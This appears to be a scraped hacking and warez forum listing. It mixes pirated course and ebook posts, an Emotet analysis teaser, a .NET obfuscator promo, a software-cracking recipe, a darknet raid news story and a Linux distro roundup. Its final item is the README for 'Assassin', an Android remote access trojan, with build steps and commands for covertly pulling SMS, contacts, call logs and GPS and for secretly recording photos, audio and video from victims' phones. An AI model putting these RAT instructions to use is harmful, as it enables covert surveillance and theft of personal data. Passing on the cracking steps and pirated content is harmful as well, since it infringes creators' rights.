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  1. The Complete Android + Java Developer Course™ 97.5 hours & 85 Apps [Hidden Content]
  2. Udemy – The Web Developer Bootcamp [10.1GB] MOST REQUESTED COURSE TILL NOW [Hidden Content]
  3. The Dark Net: Inside the Digital Underworld ғɪʟᴇ ᴛʏᴘᴇ :- ᴇʙᴏᴏᴋ ᴡᴏʀᴛʜ :- 13$ ᴏɴ ᴀᴍᴀᴢᴏɴ sɪᴢᴇ :- 3 ᴍʙ [HIDE][Hidden Content]]
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  5. Emotet is a trojan that is primarily spread through spam emails. During its lifecycle, it has gone through a few iterations. Early versions were delivered as a malicious JavaScript file. Later versions evolved to use macro-enabled Office documents to retrieve a malicious payload from a C2 server. FortiGuard Labs has been tracking Emotet since it was first discovered, and in this blog, I will provide a deep analysis of a new Emotet sample found in early May. This detailed analysis includes how to unpack the persistent payload, how Emotet malware communicates with its C2 servers, how to identify the hard-coded C2 server list and RSA key in the executable, as well as how it encrypts the data it gathers. [Hidden Content]
  6. The official Raspberry Pi Projects Book - Volume 1-2-3 & 4 (2019) The Raspberry Pi is loved the world over by educators and makers thanks to its tiny size and endless possibilities. Find out why it’s loved and how to use it with the latest official Projects Book - we’ve managed to stuff the fourth edition with another 200 pages of inspiring projects, practical tutorials, and definitive reviews. Suitable for beginners and veterans Get involved with the amazing Raspberry Pi community Be inspired by incredible projects made by other people Learn how to make with your Raspberry Pi with our help Find out about the top kits and accessories for your Pi projects And much, much more! Download include book forma pdf Volume 1-2-3 & 4 [hide][Hidden Content]]
  7. DarksProtector is an app that allows you to protect all of your .NET apps for free and with the best obfuscation! I will push updates sometimes, so stay tuned! KoiVM/DarksVM finally fixed and improved! Protections · Add Junk · Anti De4Dot · Anti Debug · Anti Dump · Anti ILDasm · Anti Tamper · Calli Protection · Constant Disintegration · Constants · Control Flow · Fake Native · Hide Methods · Invalid Metadata · Locals to Fields + v2 · MD5 Checksum · Mid Reference Proxy · Mutate Constants · Mutations · Module Flood · Reference Proxy · Renamer · Resources + v2 · Stack Underflow · Virtualization (finally updated, sources here) · Type Scrambler Others features · Custom Renamer · Premade Presets · Project Manager (to save your preset) [HIDE][Hidden Content]]
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    The Web Developer Bootcamp

    The Web Developer Bootcamp The only course you need to learn web development - HTML, CSS, JS, Node, and More! Just updated to include Bootstrap 4.1.3! Hi! Welcome to the Web Developer Bootcamp, the only course you need to learn web development. There are a lot of options for online developer training, but this course is without a doubt the most comprehensive and effective on the market. Here's why: This is the only online course taught by a professional bootcamp instructor. 94% of my in-person bootcamp students go on to get full-time developer jobs. Most of them are complete beginners when I start working with them. The previous 2 bootcamp programs that I taught cost $14,000 and $21,000. This course is just as comprehensive but with brand new content for a fraction of the price. Everything I cover is up-to-date and relevant to today's developer industry. No PHP or other dated technologies. This course does not cut any corners. This is the only complete beginner full-stack developer course that covers NodeJS. We build 13+ projects, including a gigantic production application called YelpCamp. No other course walks you through the creation of such a substantial application. The course is constantly updated with new content, projects, and modules. Think of it as a subscription to a never-ending supply of developer training. You get to meet my dog Rusty! When you're learning to program you often have to sacrifice learning the exciting and current technologies in favor of the "beginner friendly" classes. With this course, you get the best of both worlds. This is a course designed for the complete beginner, yet it covers some of the most exciting and relevant topics in the industry. Throughout the course we cover tons of tools and technologies including: HTML5 CSS3 JavaScript Bootstrap 4 SemanticUI DOM Manipulation jQuery Unix(Command Line) Commands NodeJS NPM ExpressJS REST MongoDB Database Associations Authentication PassportJS Authorization This course is also unique in the way that it is structured and presented. Many online courses are just a long series of "watch as I code" videos. This course is different. I've incorporated everything I learned in my years of teaching to make this course not only more effective but more engaging. The course includes: Lectures Code-Alongs Projects Exercises Research Assignments Slides Downloads Readings Too many pictures of my dog Rusty If you have any questions, please don't hesitate to contact me. I got into this industry because I love working with people and helping students learn. Sign up today and see how fun, exciting, and rewarding web development can be! Who is this course for? This course is for anyone who wants to learn about web development, regardless of previous experience It's perfect for complete beginners with zero experience It's also great for anyone who does have some experience in a few of the technologies(like HTML and CSS) but not all If you want to take ONE COURSE to learn everything you need to know about web development, take this course Source: [Hidden Content] Download: [Hidden Content]
  10. How to hack? 1) Unzip the RAR file. 2) Install the demo version. 3) Replace all the necessary files in the installed folder with the hacked version. 4) Run the application. [Hidden Content]
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    The Complete Guide to Shodan

    The Complete Guide to Shodan Collect, Analyze, Visualize, Make Internet Intelligence. Shodan is also called the World's Most Dangerous Search Engine. [Hidden Content]
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  13. To give you the general idea of how this method works, I’ll give a brief introduction on what exactly you’ll be doing. I’m sure most of you have heard of Amazon, but what you probably didn’t know is the fact that there are over 2 million sellers on Amazon selling their products, and this number is growing by the hundreds of thousands each year. All of these new sellers need a way to get their product ratings higher so they can get more sales. As an Amazon seller myself, we utilize free product giveaways in order to get more reviews for our products. So how can someone like you take advantage of that? Here’s how: [Hidden Content]
  14. Book details Format: pdf File Size: 17 MB Print Length: 284 pages Simultaneous Device Usage: Up to 4 simultaneous devices, per publisher limits Publisher: CRC Press; 1 edition (19 June 2019) Sold by: Amazon Asia-Pacific Holdings Private Limited Language: English ASIN: B07RXLHRF3 Inside the Dark Web provides a broad overview of emerging digital threats and computer crimes, with an emphasis on cyberstalking, hacktivism, fraud and identity theft, and attacks on critical infrastructure. The book also analyzes the online underground economy and digital currencies and cybercrime on the dark web. The book further explores how dark web crimes are conducted on the surface web in new mediums, such as the Internet of Things (IoT) and peer-to-peer file sharing systems as well as dark web forensics and mitigating techniques. This book starts with the fundamentals of the dark web along with explaining its threat landscape. The book then introduces the Tor browser, which is used to access the dark web ecosystem. The book continues to take a deep dive into cybersecurity criminal activities in the dark net and analyzes the malpractices used to secure your system. Furthermore, the book digs deeper into the forensics of dark web, web content analysis, threat intelligence, IoT, crypto market, and cryptocurrencies. This book is a comprehensive guide for those who want to understand the dark web quickly. After reading Inside the Dark Web, you’ll understand: The core concepts of the dark web. The different theoretical and cross-disciplinary approaches of the dark web and its evolution in the context of emerging crime threats. The forms of cybercriminal activity through the dark web and the technological and “social engineering” methods used to undertake such crimes. The behavior and role of offenders and victims in the dark web and analyze and assess the impact of cybercrime and the effectiveness of their mitigating techniques on the various domains. How to mitigate cyberattacks happening through the dark web. The dark web ecosystem with cutting edge areas like IoT, forensics, and threat intelligence and so on. The dark web-related research and applications and up-to-date on the latest technologies and research findings in this area. For all present and aspiring cybersecurity professionals who want to upgrade their skills by understanding the concepts of the dark web, Inside the Dark Web is their one-stop guide to understanding the dark web and building a cybersecurity plan. [Hidden Content]
  15. FREEDOM: TRISQUEL Trisquel, currently in version 8.0, was initiated by students from the University of Vigo in Spain who wanted to create an educational distribution that would support the Galician language. But the project soon exceeded this initial scope and became a totally free distribution with multilingual support. Trisquel was officially presented in April 2005 by Richard Stallman himself , and is now headed by FSF board member Rubén Rodríguez . It is based on Ubuntu 16.04 but version 9.0 is in progress and in fact it is looking for a nickname, which should be of Celtic origin. Use the GNOME 3 environment. I have selected Trisquel as the best free distro because of all those that are 100% free, it is the easiest to install and use. Just great. STABILITY: DEBIAN I do not know of any distribution that exceeds Debian in terms of stability. But it is also true for servers, since its strength is based on its stability and because it is the GNU / Linux distribution with the most extensive repositories. It is also very important the written support that exists on the network, being one of the oldest distros since it is the mother of Ubuntu, and therefore, has the merit of being, in truth, the basis of perhaps 90% of the existing distributions Debian is also called as the universal operating system, since it is compatible with virtually all architectures. Debian is a free operating system, since it comes without proprietary firmware and with a free kernel. The only requirement that does not meet to be sponsored by the FSF is because it brings non-free repositories. PRIVACY: TAILS Privacy is a strange concept today, but more and more important as technology weaves into our daily lives. It boils down to what you perceive as your threat model. If you are trying to be 100% anonymous on the Internet, for example, you will have to make a great effort to do so. If you want to prevent companies from creating a data profile about you and the steps you take on the web, then things are easier with a distribution focused on privacy. A good way to be more anonymous online is to use Tails. And Tails forgets things when you restart It is also based on Debian. EASE: MINT LINUX Mint Linux is unquestionably one of the most popular GNU / Linux desktop distributions. While Ubuntu is based on Debian, Linux Mint is based on Ubuntu. The question is why use an Ubuntu derivative or a Debian derivative instead of using the source itself. We don't know that, but it is true that Mint Linux beats Ubuntu in everything, including ease of use. Linux Mint makes Ubuntu better. And respect more the philosophy of free software by not including Amazon. Mint comes with three flavors: Cinnamon, MATE and XFCE. CUSTOMIZATION: ARCH LINUX In constant development since 2002, Arch Linux is not new. It has created, among them, me, a loyal following of users who love Arch's flexible approach, where minimalism and choice are the most important. No installation of Arch Linux is the same, and that is attractive to Arch users. It is not the most user-friendly GNU / Linux distribution, but if you really want to understand what a GNU / Linux distribution can do, Arch Linux could be for you. But you must take into account that it is installed without graphic help and you are installing software according to your need, so it is so customizable. Every day more distributions are based on Arch Linux. FORENSIC: KALI GNU / Linux is a strong platform within the area of forensic diagnosis. There are many distributions to choose from in this category, but I have chosen Kali. Kali is a GNU / Linux distribution derived from Debian designed for digital forensic analysis and penetration testing. It is maintained and funded by Offensive Security Ltd. The toolkit is very complete and it would be useful to have previous knowledge. Kali is made primarily for professionals who want to run penetration testing suits or people who want to learn ethical and digital forensic hacking. But you have to be careful. With a normal GNU / Linux system, there is an account for a normal user and a separate account for root. This is not the case in Kali Linux. Kali Linux uses the default root account and does not provide you with a normal user account. This is because almost all security tools available in Kali require root privileges, and to avoid asking you for the root password every minute, they designed it that way. LIGHTNESS: PUPPY LINUX Puppy is a super light distribution that will run completely inside the RAM on a given machine. This is incredibly useful if you need to perform tasks quickly. The entire system can be run from RAM with current versions that generally occupy about 210 MB, which allows you to remove the boot media after the operating system has started. It has variations built on Slackware and Ubuntu, but both have the same tools for the most part. Puppy is part of a unique family of GNU / Linux distributions intended for home users' computers. It was originally created by Barry Kauler in 2003.
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  17. Beat the heart of the dark Internet: more than 2,000 computers intervene in a former NATO bunker The German police dismantled a large server center that facilitated clandestine operations from the small town of Traben-Trabach It was surely one of the key pieces of the Dark Network throughout the world. But it has been dismantled. The German Police has managed to intervene a large server center of the darknet, the hidden and criminal area of the Internet in which clandestine operations such as drug and weapons trafficking are carried out, and even the hiring of murderous hitmen. The operational center was hidden in a former Atlantic Alliance bunker abandoned at the end of the Cold War and located in the small palatine town of Traben-Trabach , in the west of the country. More than 650 police officers, including several units of special agents, participated in the raid carried out in several countries and locations simultaneously, during which seven arrests took place, according to the prosecutor in charge of the case, Jügen Brauer. It is the first time that a so-called Bulletproof Hoster is located in Germany, a large concentration of clandestine servers that offers criminal organizations the possibility of operating virtually with maximum security guarantees and beyond the reach of law enforcement. So far the researchers have intervened 200, but they estimate that the total hidden in the clandestine cyber bunker exceeds 2,000 servers. The amount of data they accumulate is "gigantic," said the president of the Criminal Investigation Office (LKA) of Rhineland-Palatinate, Johannes Kurz, who said the police operation had begun to be prepared last May. Although there are seven detainees, a total of thirteen suspects, twelve men and a woman between the ages of 20 and 59, accused of collaboration in hundreds of thousands of cases of drug trafficking and large-scale weapons, businesses with fake money, commerce with stolen data and dissemination of child pornography , among many other crimes, the Prosecutor's Office reported. They are also accused of the attack suffered in 2016 by 1.25 million customer routers from the German telephone company Telekom. Through the hidden servers in the cyber bunker operated the second largest illegal and criminal darknet market in the world, the so-called Wall Street Market, a platform that was also busted by German police last spring and its three operators arrested. More than 5,400 vendors offered 1.1 million customers through it weapons or drugs, criminal services, stolen data or harmful software, among many other "unsavable" products in legal markets. Payments were made through cryptocurrencies and the platform managers pocketed commissions between 2% and 6% of the product sold. The head of the cybercriminal group is the eldest of all the detainees, a Dutch citizen who had officially moved his residence to Singapore , but habitually inhabited the bunker and a house in the region. During the operation the agents executed 18 search warrants, also in neighboring countries such as Poland, Holland and Luxembourg. The volume of data on criminal and illegal operations accumulated by seized servers is so huge that it will take months and possibly years to analyze it. The president of the LKA stressed that the investigations on the case began in 2015 and that during these years they have worked closely with the police of the federated states of Hesse and Bavaria, but also the Netherlands. "We have needed a long breath," said Kurz, who was very satisfied with the success of the operation. "It is the first time in Germany that there is no action against the managers of clandestine stores or platforms, but against those who enable their crimes to be committed," explained Prosecutor Brauer. Through the servers they operated illegal platforms such as Cannabis Road, with 87 sellers of all kinds of narcotics, or other more sophisticated and specialized in synthetic drugs.
  18. Assassin one of the best Android RAT beta 1.0.0 adapter android Lollipop-Pie commit issues to me Construction Features get Sms_List send Sms to destinationAddress get Calling_History get GPS get Contacts_List something that u can do in background call someone take a photo then send to server record audio then send to server record video then send to server of course the duration decided by yourself Basement/Environment Gradle JDK1.8 AndroidSdk node.js npm Usage Options: -V, --version output the version number -a,--assassin <assassin> select a command post to the clients if you choose the shadow you should input the cmd -t to choose a type between pic/audio/video [sms,contacts,call,gps,shadow] (default: "sms") -C,--Clients show every client info -d,--address <address> input a phone num who you want to send a msg -m,--msg <msg> you should write the msg content, if your command is sms -t,--type <type> select a type between pic/audio/video and you should input the -l to choose the camera lens [pic,audio,video] -c,--client <client> select a client to post the command -l,--lens <lens> which camera lens that you want to open [0,1] -h, --help output usage information Step.1 clone/download the project and start up the server [Hidden Content] Step.2 build assasin.apk with shell at project folder befor build the apk confrim that you have prepare the env for building the app connect the android device to ur PC enable the develop mode on ur android device if you can not do step.2 and step.3 you can build the assassin.apk and install it to your device manually now let's start assembleApk at the first time when you download the project you should confirm your OS type mac or linux, and get your server IPAdress by "ifconfig/ipconfig" 0. chmod 777 ./ chmod 777 ./ 1. execute the assemble shell "./ OS serverIP" serverIP type as OS type as mac or linux as follows: "./ mac" "./ linux localHost:3000" 2. ./ if you are not able to connect the device to your PC, send the apk by email or xx and install it manually 3. look at your device, the apk has been installed into your device run it grant all of permissions and now you can see { a user connected info }at terminal you have opened at Step.1 Step.3 execute command,then you will get whaterver you want!!! cmd ./assassin.js -a sms -c 9910294050493 description select the command between [sms,contacts,call,gps,shadow] if you choose the shadow you should also use -t to choose a type between pic/audio/video args with -c can be gotten at server terminal {a user connected info} type the cmd into a new terminal at ~/project/Server and the result: { "command": "send_contacts_list", "IMEI": "99001249798100" } response is : [{name:ASX,phoneNum:2345 67}] exemples cmd -a description select the command between [sms,contacts,call,gps,shadow] if you choose the shadow you should also use -t to choose a type between pic/audio/video example ‘’./assassin.js -a sms‘’ ‘’ ./assassin.js -a shadow -t pic ‘’ result ERROR:you should input a type with -c to choose a client that you want to send cmd cmd -C description show every client info example ‘’./assassin.js -C ‘’ result {IMEI:9525238415950202,brand:Nokia,model:CAL-20,version:9.0} cmd -c description select a client with its IMEI to post the command example ‘’./assassin.js -a sms -c 9525238415950202 ‘’ result { command: 'send_sms_list', IMEI: '184859203' } Prompt keep node server alive when you send a command cmd with ./assassin.js will return a Json data you can do whatever with the response if you want to get a pic or video you should type the cmd as follow: ./assassin.js -a shadow -c 123456 -t pic -l 0 then you can find the pic has saved on the */project/Server/public/images/xxxx.jpeg' the same with other shadow the duration in recording video or audio decided by yourself Screen Shot server assembleApk installApk client connect to server executeCmd
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